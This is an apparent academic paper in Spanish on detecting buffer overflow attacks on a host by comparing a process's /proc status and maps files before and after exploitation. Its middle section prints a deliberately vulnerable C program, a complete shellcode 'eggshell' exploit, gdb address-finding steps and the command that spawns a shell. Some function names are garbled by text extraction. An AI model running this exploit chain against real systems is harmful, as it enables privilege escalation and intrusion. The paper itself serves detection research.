Detección De Buffer Overflow Usando El Sistema De Archivos Virtuales De Linux /proc 1a6u31

Detección de Buffer Overflow usando el Sistema de Archivos Virtuales de Linux /proc Jose Ignacio Burgos P1, Percy Adrian Mercado M2, Harold Gabriel Mora V3. Universidad de Santiago de Chile, Departamento de Ingeniaría Informática,  Av. Ecuador 3659, Santiago, Chile. 1  [email protected]

Resumen.­  El   presente   trabajo   muestra   como   mediante   el   usó   de   distintos archivos del directorio virtual de linux /proc, se puede detectar un ataque por buffer overflow, esto para la realización de un IDS por host, para esto se uso un proceso vulnerable y un exploit que ataque a dicho proceso.

1 

Introducción

Los cambios que un ataque exploit realizan a un proceso en su ejecución son muchas veces desconocidos, en el presente trabajo se muestra, a través de la información que tiene el sistema de archivos virtuales /proc,   como saber si un proceso fue, o esta siendo atacado, en cambia el proceso antes y durante el ataque. Para comprender de mejor forma lo anterior se debe conocer lo que es un exploit de buffer overflow, que contiene y para que sirve el sistema de archivos /proc, y en que consisten los IDS en general.

2 

Sistema de Archivos Virtuales /proc

En Linux, todo se guarda en archivos. La mayoría de s están familiarizados con   los   dos   primeros   tipos   de   archivos,   de   texto   y   binarios.   Sin   embargo,   el directorio /proc contiene archivos que no son parte de ningún sistema de archivos asociado   a   los   discos   duros,   CD­ROM   o   cualquier   otro   dispositivo   físico   de almacenamiento   conectado   a   su   sistema   (excepto   la   RAM).   Mejor   dicho,   estos archivos forman parte de un sistema de archivos virtual habilitado o deshabilitado en el kernel de Linux cuando está compilado. Los archivos virtuales poseen cualidades únicas. En primer lugar, la mayoría de ellos tienen un tamaño de 0 bytes. Sin embargo, cuando se visualiza el archivo, éste puede   contener   una   gran   cantidad   de   información.   Además,   la   mayoría   de

 

configuraciones del tiempo y las fechas reflejan el tiempo y fecha real, lo que es un indicativo de que están siendo constantemente modificados. Además,   un   gestor   de   sistemas   puede   utilizar   /proc   como   método   sencillo   de información de  sobre el estado del kernel, los atributos de las máquinas, los estados de los procesos individuales y mucho más. La mayoría de archivos en este directorio, tales como interrupts, meminfo, mounts y partitions proporcionan una idea de lo que es un entorno de sistemas. Otros como sistema de archivos y el directorio /proc/sys/   dan   información   sobre   la   configuración   del   software.   Para   facilitar   las cosas, los archivos que contienen información sobre un tema parecido se agrupan en directorios virtuales y en subdirectorios, tales como /proc/ide.

2.1

Visualización del sistema /proc

Mediante   el   uso   de   los   comandos  cat,   more,   o  less  en   los   archivos   dentro   del directorio /proc, los s pueden inmediatamente acceder una cantidad enorme de información acerca del sistema. Por ejemplo, para desplegar el tipo de U que tiene un   equipo,   se   debe   escribir  cat   /proc/uinfo  para   recibir   una   salida   similar   a   lo siguiente: processor:0 vendor_id:AuthenticAMD ufamily:5 model:9 modelname:AMD­K6(tm)3D+Processor stepping:1 uMHz:400.919 cachesize:256KB fdiv_bug:no hlt_bug:no f00f_bug:no coma_bug:no fpu:yes fpu_exception:yes uidlevel:1 wp:yes flags:fpuvmedepsetscmsrmcecx8pgemmxsyscall3dnowk6_mtrr bogomips:799.53

Como puede ver en el sistema de archivos /proc, alguna información tiene sentido, mientras que otras áreas aparecen en un código desconocido. Algunos archivos en el directorio /proc están configurados para que se puedan leer sólo por el  root.

2.2

Directorios de Proceso

Cada directorio /proc contiene unos cuantos directorios nombrados con un número. Un listado de los mismos empezaría de la siguiente manera:

dr­xr­xr­x    3 root     root     0 Feb 13 01:28 1 dr­xr­xr­x    3 root     root     0 Feb 13 01:28 1010 dr­xr­xr­x    3 xfs      xfs      0 Feb 13 01:28 1087 dr­xr­xr­x    3 daemon   daemon   0 Feb 13 01:28 1123 dr­xr­xr­x    3 root     root     0 Feb 13 01:28 11307 dr­xr­xr­x    3 apache   apache   0 Feb 13 01:28 13660 dr­xr­xr­x    3 rpc      rpc      0 Feb 13 01:28 637 dr­xr­xr­x    3 rpc  rpc  0 Feb 13 01:28 666

A estos directorios se les llama directorios de proceso, ya que pueden hacer referencia a un ID de proceso y contener información específica para ese proceso. El propietario y grupo de cada directorio de proceso está configurado para que el  ejecute el proceso. Cuando se finaliza el proceso, el directorio del proceso /proc desaparece. Sin embargo,   mientras   que   se   está   ejecutando   el   proceso,   una   gran   cantidad   de información específica a ese proceso está contenida en varios archivos del directorio de procesos.  En cada uno de los directorios de procesos se encuentran muchos archivos los más relevantes son los siguientes archivos:  cmdline: Contiene el comando que se ejecutó cuando se arrancó el proceso.  u: Proporciona información específica sobre el uso de cada uno de las Us del sistema. Un proceso que se ejecuta en un sistema U dual produciría la siguiente salida de datos: u  11 3 u0 0  0 u1 11 3

 cwd: Enlace simbólico al directorio actual en funcionamiento para el proceso.  environ:  Le da una lista de variables de entorno para el proceso. La variable de entorno en mayúsculas y el valor en minúsculas.   exe: Enlace simbólico al ejecutable de este proceso.   fd: Directorio que contiene todos los descriptores de archivos para un proceso en particular. Vienen dados en enlaces numerados:  total 0 lrwx­­­­­­    1 root  root 64 May  8 11:31 0 ­> /dev/null

  lrwx­­­­­­    1 root  root 64 May  8 11:31 1 ­> /dev/null lrwx­­­­­­    1 root  root 64 May  8 11:31 2 ­> /dev/null lrwx­­­­­­    1 root  root 64 May  8 11:31 3 ­> /dev/ptmx lrwx­­­­­­    1 root  root 64 May  8 11:31 4 ­> socket: [7774817] lrwx­­­­­­    1 root  root 64 May  8 11:31 5 ­> /dev/ptmx lrwx­­­­­­    1 root  root 64 May  8 11:31 6 ­> socket: [7774829] lrwx­­­­­­    1 root  root 64 May  8 11:31 7 ­> /dev/ptmx

 maps: Contiene mapas de memoria para los diversos ejecutables y archivos de librería   asociados   con   este   proceso.   Este   archivo   puede   ser   bastante   largo, dependiendo de la complejidad del proceso. Una muestra de la salida de datos desde el proceso sshd empezaría de la siguiente manera: 08048000­08086000 r­xp 00000000 03:03 391479 /usr/sbin/sshd 08086000­08088000 rw­p 0003e000 03:03 391479 /usr/sbin/sshd 08088000­08095000 rwxp 00000000 00:00 0 40000000­40013000 r­xp 00000000 03:03 293205 /lib/ld­2.2.5.so 40013000­40014000 rw­p 00013000 03:03 293205 /lib/ld­2.2.5.so 40031000­40038000 r­xp 00000000 03:03 293282  /lib/libpam.so.0.75 40038000­40039000 rw­p 00006000 03:03 293282  /lib/libpam.so.0.75 40039000­4003a000 rw­p 00000000 00:00 0 4003a000­4003c000 r­xp 00000000 03:03 293218 /lib/libdl­ 2.2.5.so 4003c000­4003d000 rw­p 00001000 03:03 293218 /lib/libdl­ 2.2.5.so

    

mem: Memoria del proceso.  root: Enlace al directorio root del proceso.  stat: Estado del proceso.  statm: Estado de la memoria en uso por el proceso.  status: Proporciona el estado del proceso en una forma mucho más legible que stat o statm. Ejemplo de salida de datos de sshd: Name: sshd State: S (sleeping) Tgid: 797 Pid: 797 PPid: 1 TracerPid: 0 Uid: 0000 Gid: 0000 FDSize: 32

Groups: VmSize: VmLck: VmRSS: VmData: VmStk: VmExe: VmLib: SigPnd: SigBlk: SigIgn: SigCgt: CapInh: CapPrm: CapEff:

    3072 kB        0 kB      840 kB      104 kB       12 kB      300 kB     2528 kB 0000000000000000 0000000000000000 8000000000001000 0000000000014005 0000000000000000 00000000fffffeff 00000000fffffeff

Existen muchos otros archivos y directorios en el directorio /proa, para revisar su contenido completo verifique [1].

3

Exploits

Un   “exploit”   es   un   programa   o   técnica   que   aprovecha   una   vulnerabilidad.  Los exploits   dependen   de   los   sistemas   operativos   y   sus   configuraciones,   de   las configuraciones de los programas que se están ejecutando en un computador y de la LAN. Una vulnerabilidad es un punto débil de un sistema informático que evitará que se   pueda   usar   correctamente,   o   que   permitirá   que   lo   controlen   personas   no autorizadas.   Hay   muchos   tipos   de   vulnerabilidades.   Puede   haber   un   error   en   la configuración del servicio o bien un error en la programación del servicio. Pueden estar creados en cualquier lenguaje. Los exploit para Windows suelen estar hechos en C y/o ensamblador, mientras que los de Unix pueden estar hechos también en perl por ejemplo, aunque suelen estar hechos en C. Se puede diferenciar a los exploit en locales y remotos. Los exploits locales actúan en la máquina en la que están. Por tanto si se desea atacar otra m­aquina primero se tendrá que subir ese código y luego conseguir ejecutarlo. Los exploit remotos se ejecutan en la máquina local, pero actúan en otra máquina víctima   de   manera   que   utilizas   algún   servicio   conectado   a   la   red   que   tenga   una vulnerabilidad para poder obtener un tipo de beneficio como puede ser acoplar una red a un puerto no privilegiado (por ejemplo el 1024). 3.1

Desbordamiento de Buffer

Un desbordamiento de búfer (del inglés buffer overflow) es un error de software que se produce cuando se copia una cantidad más grande de datos sobre un área más pequeña sin interrumpir la operación, sobrescribiendo otras zonas de memoria.

 

En   algunas   ocasiones   eso   puede   suponer   la   posibilidad   de   alterar   el   flujo   del programa pudiendo hacer que éste realice operaciones no previstas.  Esto es posible dado   que   en   las   arquitecturas   comunes   de   ordenadores,   la   memoria   no   tiene separación entre la dedicada a datos y a programa. Si   el   programa   que   tiene   el   error   en   cuestión   tiene   privilegios   especiales   se convierte   además   en   un   fallo   de   seguridad.  El   código   copiado   especialmente preparado para obtener los privilegios del programa atacado se llama shellcode. 3.2 

Shellcode

Una shellcode es básicamente una serie de ordenes en ensamblador que hace algo de la cual sacamos provecho, ejecutar /bin/sh para obtener una shell, copiar una shell y configurarla con  suid root, etc. Tiene unas características de programación un tanto especiales. Se usa para conseguir ejecutar un código después de haber sobrescrito la dirección de retorno de un programa/función mediante un overflow, o mediante cualquier otro método válido. Es decir, el valor de la dirección de retorno que se sobrescribirá será la de nuestra shellcode. Simplemente decir que cuando se produzca el desbordamiento y el salto se ejecutará nuestra shellcode.

4

IDS

Sistema  de Detección  de Intrusiones  es una herramienta  de  seguridad que  intenta detectar o monitorizar los eventos ocurridos en un determinado sistema informático o red informática en busca de intentos de comprometer la seguridad de dicho sistema. La idea central es el hecho de que la actividad intrusiva es un subconjunto de las actividades anormales. Esto puede parecer razonable por el hecho de que si alguien consigue entrar de forma ilegal en el sistema, no actuará como un  normal. Sin embargo en la mayoría de las ocasiones una actividad intrusiva resulta del agregado de otras actividades individuales que por sí solas no constituyen un comportamiento intrusivo de ningún tipo. Idealmente el conjunto de actividades anómalas es el mismo del conjunto de actividades intrusivas. Existe numerosas clasificaciones de los IDS [2], una es según el tipo de monitoreo, hay IDS con detección orientada al host o detección orientada a la red, existe.  El modelo orientado al host se basa en el monitoreo y análisis de información, que refleja el estado del host donde éste reside.   Los IDS que utilizan el modelo orientado a red, fundamentan su monitoreo en información recolectada de la red. 

5

Análisis de la vulnerabilidad de BOF

El programa el cual sirve para el estudio y el análisis de todo lo concerniente al ataque de buffer overflow se llama BOF, el cual es un programa sencillo codifico en lenguaje C, a continuación se presente el análisis realizado.

5.1   Consideraciones iniciales Antes de examinar y analizar el código se debe tener en consideración los siguientes aspectos:    

esp: es un registro conocido como “extended stack pointer”. ebp es un registro conocido como “extended base pointer”. eip: es un registro conocido como “extended instruction pointer”. gdb:   es   el   depurador   estándar   para   el   sistema   operativo   GNU.   Es   un depurador   portable   que   se   puede   utilizar   en   varias   plataformas   Unix   y funciona para varios lenguajes  de programación  como C, C++ y Fortran. GDB   fue   escrito   por   Richard   Stallman   en   1988.   GDB   es   software   libre distribuido   bajo   la   licencia   GPL.   GDB   ofrece   la   posibilidad   de   trazar   y modificar la ejecución de un programa. El  puede controlar y alterar los valores de las variables internas del programa.

5.2   Análisis del código A continuación se presenta el código [3] y su análisis correspondiente: //bof.c #include <stdio.h> int main(int argc, char * argv[]) { char buf[256]; if(argc == 1) { printf("Usage: %s input\n", argv[0]); exit(0); } int temp; getpid(); printf("por favor vea el proceso %d\n",getpid()); scanf("%d",&temp); //******** Vulnerabilidad ************** stry(buf,argv[1]); printf("%s", buf);

  //********************** }

int main(int argc, char * argv[]) : función principal del programa. char buf[256]: se declara la variable “buf” que es un arreglo de 256 caracteres.   if(argc == 1): condición en la cual se verifica si no hay ninguna entrada del  como argumento a la función main, si se cumple el programa termina su ejecución . int  temp: se declara  la variable  “temp” que es un entero, el  cual  se utiliza  como entrada a la función scanf. printf("por favor vea el proceso %d\n",getpid()): se obtiene y se imprime por pantalla el identificador del proceso, el cual servirá para la verificación del proceso atacado. scanf(“%d”,&temp): Se espera una entrada del , esto se utiliza para guardar el estado del proceso en un archivo antes de ser atacado. stry(buf,argv[1]): se copia la entrada del  en “buf”. printf("%s", buf): se imprime por pantalla el contenido de ”buf”. La vulnerabilidad aparece en la llamada a la función “stry”, la cual copia la entrada del  en la variable “buf”, por lo que si esta entrada es mayor que 256 caracteres entonces ocurrirá un buffer overflow.  5.3 Examinado entrada del  Sin ninguna entrada: hmora@wolverine:~/src/seguridad/proyecto/test$ ./bof Usage: ./bof input hmora@wolverine:~/src/seguridad/proyecto/test$

Ahora se ingresa una entrada que no sobrepase el buffer: hmora@wolverine:~/src/seguridad/proyecto/test$ ./bof percy percy hmora@wolverine:~/src/seguridad/proyecto/test$

Por ultimo se ingresa una entrada que sobrepasa el buffer:

hmora@wolverine:~/src/seguridad/proyecto/test$ ./bof `perl ­e 'print "A" x 272'` por favor vea el proceso 17552 1 Violación de segmento (core dumped) hmora@wolverine:~/src/seguridad/proyecto/test$ gdb ­c  core ./bof GNU gdb 6.3­debian Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public  License, and you are welcome to change it and/or distribute copies of it under  certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB.  Type "show  warranty" for details. This GDB was configured as "i386­linux"...Using host  libthread_db library "/lib/tls/libthread_db.so.1". Core was generated by `./bof  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. warning: current_sos: Can't read pathname for load map: Error de entrada/salida Reading symbols from /lib/tls/libc.so.6...done. Loaded symbols for /lib/tls/libc.so.6 Reading symbols from /lib/ld­linux.so.2...done. Loaded symbols for /lib/ld­linux.so.2 #0  0x41414141 in ?? () (gdb) info reg eax            0x110    272 ecx            0x8048647        134514247 edx            0xb7fd4108       ­1208139512 ebx            0xb7fd1ff4       ­1208147980 esp            0xbffffbf0       0xbffffbf0 ebp            0x41414141       0x41414141 esi            0x0      0 edi            0xb8000cc0       ­1207956288 eip            0x41414141       0x41414141 eflags         0x10286  66182 cs             0x73     115 ss             0x7b     123 ds             0x7b     123 es             0x7b     123 fs             0x0      0 gs             0x33     51 (gdb)

 

Como   se   puede   observar   se   sobrescribió   la   dirección   de   retorno   con   el   valor   de 0x41414141. Por lo que un atacante puede sobrescribir esta dirección con la dirección de su programa malicioso. Así que lo que debería hacer es escribir “A” 268 veces y luego escribir la dirección de su programa.

5.4 Análisis del exploit Como se observo en el apartado anterior ya se sabe como sobrescribir la dirección de retorno,   así   que   ahora   solo   queda   ejecutar   el   exploit   siguiente,   el   cual   usa   una “eggshell”.

/* bish.c  *  *  * Generic eggshell, was tested and  * works on:  *  * FreeBSD 4.6­PRERELEASE  * FreeBSD 4.5­RELEASE  * OpenBSD 3.0  * NetBSD  1.5.2  * Linux   2.0.36  * Linux   2.2.12­20  * Linux   2.2.16­22  * Linux   2.4.7­xfs  *  * Shellcode by [email protected], added setuid().  */ #include <stdio.h> char shellcode[] =         "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() */          "\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd "          "\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80 "

         "\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0 "          "\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50 "          "\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89 "          "\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c "          "\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; int main() {   char bish[512];   puts("Bish loaded into enviroment");   puts("  Bish.c by [email protected]");   memset(bish,0x90,512);   memy(&bish[512­ strlen(shellcode)],shellcode,strlen(shellcode));   memy(bish,"BISH=",5);   putenv(bish);      execl("/bin/bash","bash",'\0');    return(0);  }

Una vez que el programa esta ejecutándose, se debe saber la dirección de este por lo que   sobrescribimos   el   programa   “bof”   nuevamente   y   analizamos   su   “gdb”   para encontrar la dirección de retorno del programa “bish”.

hmora@wolverine:~/src/seguridad/proyecto/test$ ./bof `perl ­e 'print "A" x 268'` por favor vea el proceso 25091 1 Violación de segmento (core dumped) hmora@wolverine:~/src/seguridad/proyecto/test$ gdb ­c  core ./bof GNU gdb 6.3­debian Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public  License, and you are

  welcome to change it and/or distribute copies of it under  certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB.  Type "show  warranty" for details. This GDB was configured as "i386­linux"...Using host  libthread_db library "/lib/tls/libthread_db.so.1". Core was generated by `./bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. warning: current_sos: Can't read pathname for load map: Error de entrada/salida Reading symbols from /lib/tls/libc.so.6...done. Loaded symbols for /lib/tls/libc.so.6 Reading symbols from /lib/ld­linux.so.2...done. Loaded symbols for /lib/ld­linux.so.2 #0  0xb7eb3e00 in __libc_start_main () from  /lib/tls/libc.so.6 (gdb) x/s $esp 0xbffff620:      "\002" (gdb) //Lineas borradas para la claridad 0xbffffc6e:       "UT2004_DATA_PATH=/usr/local/games/ut2004/System" (gdb) 0xbffffc9e:      "BISH=", '\220'  ... (gdb) 0xbffffd66:      '\220'  ... (gdb)

Aquí se encontró la dirección del programa “bish”, la cual es  “0xbffffd66”. Ahora se procede a convertir esta dirección al formato little endian. 0xbffffd66 ­ 0x = bffffd66, 0x no es necesario. bffffd66 en reversa es 66fdffbf Luego sumamos \x a cada byte. 66 fd ff bf = \x66\xfd\xff\xbf

Ahora se tiene la dirección que debe tener el “eip”, la cual ejecutará la shellcode. Esto se muestra a continuación:   hmora@wolverine:~/src/seguridad/proyecto/test$ ./bof `perl ­e 'print "A" x 268'``printf "\x66\xfd\xff\xbf"` por favor vea el proceso 27541 1 sh­2.05b$

Por último, se puede observar que se esta ejecutando la shellcode del programa bish.

6

Hipótesis de detección

Uno de  los acercamientos iniciales a la detección de ataques por buffer overflow, es analizar lo que sucede a nivel de los registros asociados al programa y como se ve reflejado a nivel del sistema operativo. Es por esto que proponemos un IDS que sea capaz de basarse en la información que entrega el sistema operativo, como el sistema de archivos virtuales llamado /proc, el  cual  nos proporciona  información relativa  a todos los procesos  del  sistema, en particular al proceso asociado al programa  “bof” en ejecución. Con   esta   información,   se   hará   un   respaldo   inicial   del   proceso,   para   después monitorear  el  programa  cada  cierto tiempo, con el  objetivo de ir comparando    la información del proceso, así, si es que hay algún cambio sustancial e importante en este último, se podrá inferir que hubiera podido ocurrir un ataque de buffer overflow que haya corrompido el proceso. 

 7

Especificación del IDS

El IDS debe ser capaz de guardar el estado normal de la aplicación BOF, de forma que pueda realizar la comparación necesaria y así poder diferenciar si la aplicación fue atacada o no. El IDS en un principio realiza  una copia del directorio virtual del proceso  que corresponde al proceso “bof”, este archivo es de suma importancia ya que da pie a la definición de lo que se trata el comportamiento normal. El IDS realiza comparaciones esporádicas con el directorio /proc comparando los valores que puedan indicar que el proceso no esta realizando una actividad normal, específicamente se ve el archivo status ya que este indica el nombre del proceso en ejecución, y al momento de ser atacado este cambia de nombre.

 

El Segundo archivo que analiza es el archivo  maps, ya que muestra las regiones asociadas   y   sus   permisos   de     al   realizar   una   simple   comparación   por   el comando diff se pueden ver las diferencias existentes.

8

Resultados

Al   comparar   los   archivos   del   /proc   del   proceso   con   sus   archivos   de   respaldo   se encontraron diversas diferencias, una de las mas importantes esta en el archivo  stat que guarda información sobre el estado del proceso, uno de los campos es el que tiene el nombre del proceso, ya que al ser explotada la aplicación este campo cambia de nombre. diff antes/status despues/status 1c1 < Name: bof ­­­ > Name: sh 3c3 < SleepAVG:     77% ­­­ > SleepAVG:     92% 12c12 < VmSize:           1360 kB ­­­ > VmSize:           2584 kB 14,18c14,18 < VmRSS:             340 kB < VmData:             24 kB < VmStk:               8 kB < VmExe:               4 kB < VmLib:            1280 kB ­­­ > VmRSS:            1412 kB > VmData:            184 kB > VmStk:              20 kB > VmExe:             592 kB > VmLib:            1668 kB 23,24c23,24 < SigIgn:       0000000000000000 < SigCgt:       0000000000000000 ­­­ > SigIgn:       0000000000384004 > SigCgt:       000000004b813efb

Al realizar la comparación entre los archivos de status resulta interesante la primera línea  que muestra el  cambio que ocurre  en el nombre de la aplicación,  así como también el porcentaje de uso de cada uno, antes y después del ataque (izquierda antes del ataque, derecha después del ataque). Otro resultado importante fue el observado en el archivo maps ya que se observó la modificación en las direcciones de memoria, incluso la ejecución de nuevas librerías que no guardaban relación con la aplicación.

diff antes/maps  despues/maps 1,2c1,3 < 08048000­08049000 r­xp 00000000 03:01 917729      /home/hmora/archivos/seguridad/test/bof < 08049000­0804a000 rw­p 00000000 03:01 917729      /home/hmora/archivos/seguridad/test/bof ­­­ > 08048000­080dc000 r­xp 00000000 03:01 2818110    /bin/bash > 080dc000­080e2000 rw­p 00094000 03:01 2818110    /bin/bash > 080e2000­0810a000 rw­p 080e2000 00:00 0 5,9c6,24 < 40017000­4001a000 rw­p 40017000 00:00 0 < 40029000­40153000 r­xp 00000000 03:01 3196431     /lib/tls/libc­2.3.2.so < 40153000­4015c000 rw­p 00129000 03:01 3196431     /lib/tls/libc­2.3.2.so < 4015c000­4015f000 rw­p 4015c000 00:00 0 < bfffe000­c0000000 rw­p bfffe000 00:00 0 ­­­ > 40017000­40018000 rw­p 40017000 00:00 0 > 40029000­4005f000 r­xp 00000000 03:01 3194983     /lib/libncurses.so.5.4 > 4005f000­40068000 rw­p 00035000 03:01 3194983     /lib/libncurses.so.5.4 > 40068000­4006a000 r­xp 00000000 03:01 3196433     /lib/tls/libdl­2.3.2.so > 4006a000­4006b000 rw­p 00002000 03:01 3196433     /lib/tls/libdl­2.3.2.so > 4006b000­4006c000 rw­p 4006b000 00:00 0 > 4006c000­40196000 r­xp 00000000 03:01 3196431     /lib/tls/libc­2.3.2.so > 40196000­4019f000 rw­p 00129000 03:01 3196431     /lib/tls/libc­2.3.2.so > 4019f000­401a1000 rw­p 4019f000 00:00 0 > 401a1000­401a8000 r­xp 00000000 03:01 3196437     /lib/tls/libnss_compat­2.3.2.so > 401a8000­401a9000 rw­p 00006000 03:01 3196437     /lib/tls/libnss_compat­2.3.2.so

  > 401a9000­401ba000 r­xp 00000000 03:01 3196436     /lib/tls/libnsl­2.3.2.so > 401ba000­401bb000 rw­p 00011000 03:01 3196436     /lib/tls/libnsl­2.3.2.so > 401bb000­401bd000 rw­p 401bb000 00:00 0 > 401bd000­401c5000 r­xp 00000000 03:01 3196441     /lib/tls/libnss_nis­2.3.2.so > 401c5000­401c6000 rw­p 00007000 03:01 3196441     /lib/tls/libnss_nis­2.3.2.so > 401c6000­401cf000 r­xp 00000000 03:01 3196439     /lib/tls/libnss_files­2.3.2.so > 401cf000­401d0000 rw­p 00008000 03:01 3196439     /lib/tls/libnss_files­2.3.2.so > bfffb000­c0000000 rw­p bfffb000 00:00 0

En el código anterior se puede observar como la aplicación al ser explotada incluye librerías que no eran usadas por la aplicación original (izquierda antes del ataque, derecha después del ataque). Se pensó en un momento que detener el proceso atacado podía detener la ejecución de la consola abierta por el agente externo, lo que estaba errado ya que al eliminar el proceso no ocurría nada y se podía seguir con la ejecución de la consola y el proceso explotado dejaba de aparecer en el directorio /proc.

9

Conclusiones

El desarrollo de este trabajo sirvió para realizar un acercamiento al comportamiento de   un   proceso   al   sufrir   un   desbordamiento   de   buffer   causado   por   una   mala programación. Para poder detener el ataque por parte de un agente externo no es suficiente con detectar   que   una   aplicación   fue   explotada,   ya   que   si   es   detenido   ese   proceso   la consola (“bish” en nuestro caso) puede seguir su ejecución, sin embargo al momento de detectar el ataque nuestro IDS reconoce un cambio de aplicación al encontrar una diferencia en los nombres de los procesos, esto es útil ya que podría indicar el nombre de la aplicación  que debe  ser  detenida, el  problema  de esta  aproximación  es que podría   significar   el   detener   todas   las   consolas   del   sistema,   por   lo   que   se   haría necesario   establecer   otra   forma   con   la   que   se   pueda   relacionar   una   aplicación explotada con una consola, como lo es “bish” en nuestro caso.

10 Referencias 1. MacOnLinux.net, proa.5, última visita 20 de agosto de 2005 http://maconlinux.net/linux­man­pages/es/proc.5.html 2. Manuales de Lucas, Clasificación de los IDSes, última visita 20 de agosto de 2005 http://es.tldp.org/Manuales­LuCAS/doc­unixsec/unixsec­html/node282.html 3. Buffer Overflow for kids,  última visita 20 de agosto de 2005  http://www.l0t3k.net/biblio/b0f/en/bofs4kids.txt